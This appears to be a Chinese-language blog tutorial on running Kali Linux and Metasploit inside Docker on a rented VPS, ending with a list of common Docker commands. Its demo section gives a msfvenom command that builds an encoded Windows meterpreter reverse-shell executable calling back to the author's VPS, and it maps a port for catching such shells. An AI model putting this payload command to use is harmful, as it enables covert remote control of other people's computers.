0x01 简介

Docker是目前最火热的开源应用容器,发布于2014年6月。它能让开发者打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。总之,docker是一个安装系统或者应用非常优雅的容器,没有那么多麻烦的设置,也不用担心那一个接一个的依赖。而且不会对原有系统造成影响。可以大胆尝试任何你想安装的系统或应用。

我的vps是ubuntu14.04.4,768RAM的。最近vultr又推出了2.5刀的512m,1cpu,20g ssd的超高性价比的vps。这里扔个邀请链接。各得10刀。

0x02 安装docker

sudo apt-get install docker.io

0x03 安装kali及metasploit

下载kali镜像
docker pull kalilinux/kali-linux-docker
可以通过docker images命令查看你下载好的镜像。
这里kalilinux就是通过上一个命令下载好的,ID是你的镜像ID。msf镜像是我下面安装了metasploit后自己保存的镜像。这里不用管它

root@vultr:~# docker images
REPOSITORY                    TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
msf                           latest              3ee9029c3649        5 hours ago         2.216 GB
kalilinux/kali-linux-docker   latest              2e58bcad705c        17 hours ago        828.3 MB

下载完成的kali是没有metasploit的,是一个基础版。所以先把kali的镜像挂载到容器里,运行kali。然后直接apt-get下载即可。
docker run -t -i kalilinux/kali-linux-docker /bin/bash //用镜像创建一个容器
然后它会立即创建并进入到这个容器中,也就是进入到kali中。
大概是这样的那一串字符串事你的这个容器ID
root@ce3df32899e1:/#
如果它提示这样的报错内容

System error: mountpoint for devices not found;
Couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH;

请执行apt install aufs-tools cgroup-lite,然后在运行上个命令创建容器。

0x04 安装metasploit

apt-get update && apt-get upgrade
apt-get install metasploit-framework
等安装完成后就可以进入metasploit了
msfconsole -L

然后exit退出msf退出kali,将这个容器保存为一个镜像。
docker ps -a 查看容器ID

root@vultr:~# docker ps -a
CONTAINER ID        IMAGE                                COMMAND             CREATED             STATUS                   PORTS                    NAMES
ce3df32899e1        msf:latest                           "/bin/bash"         6 hours ago         Up 18 minutes            0.0.0.0:8888->8888/tcp   agitated_tesla      
e56943810487        kalilinux/kali-linux-docker:latest   "/bin/bash"         6 hours ago         Exited (0) 4 hours ago                            kickass_darwin      
root@vultr:~# 

docker commit e56943810487 msf将kali这个容器保存为一个镜像。

docker run -t -p 8888:8888 -i msf /bin/bash 将vps的8888端口与容器的8888端口映射上,方便反弹shell。端口自己随意设置。
这时候就可以愉快的使用公网ip玩metasploit了。

0x05 msf使用

做个简单示范
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=[vps公网ip] LPORT=8888 -f exe > a.exe

成功反弹shell

0x06 docker的常用命令

docker run -t -i <image> 用镜像创建一个容器
docker pull image 拉拽镜像
docker images 查看可用镜像
docker ps 查看运行的容器
docker ps -a 查看所有的容器
docker stop <container id> 停止该容器
docker start <container id> 开始该容器
docker attach <container id>与该容器交互
docker commit <container id> <new id>创建新的镜像
docker rm <container id> 删除容器
docker rmi <image name> 删除镜像
docker cp <containerId>:/file/path/within/container /host/path/target 从Docker容器内拷贝文件到主机上

0x07 参考

1 Running Metasploit on Kali Linux Docker (AWS EC2 Instance)
2 强强合体:Docker版Kali Linux发布(17楼评论)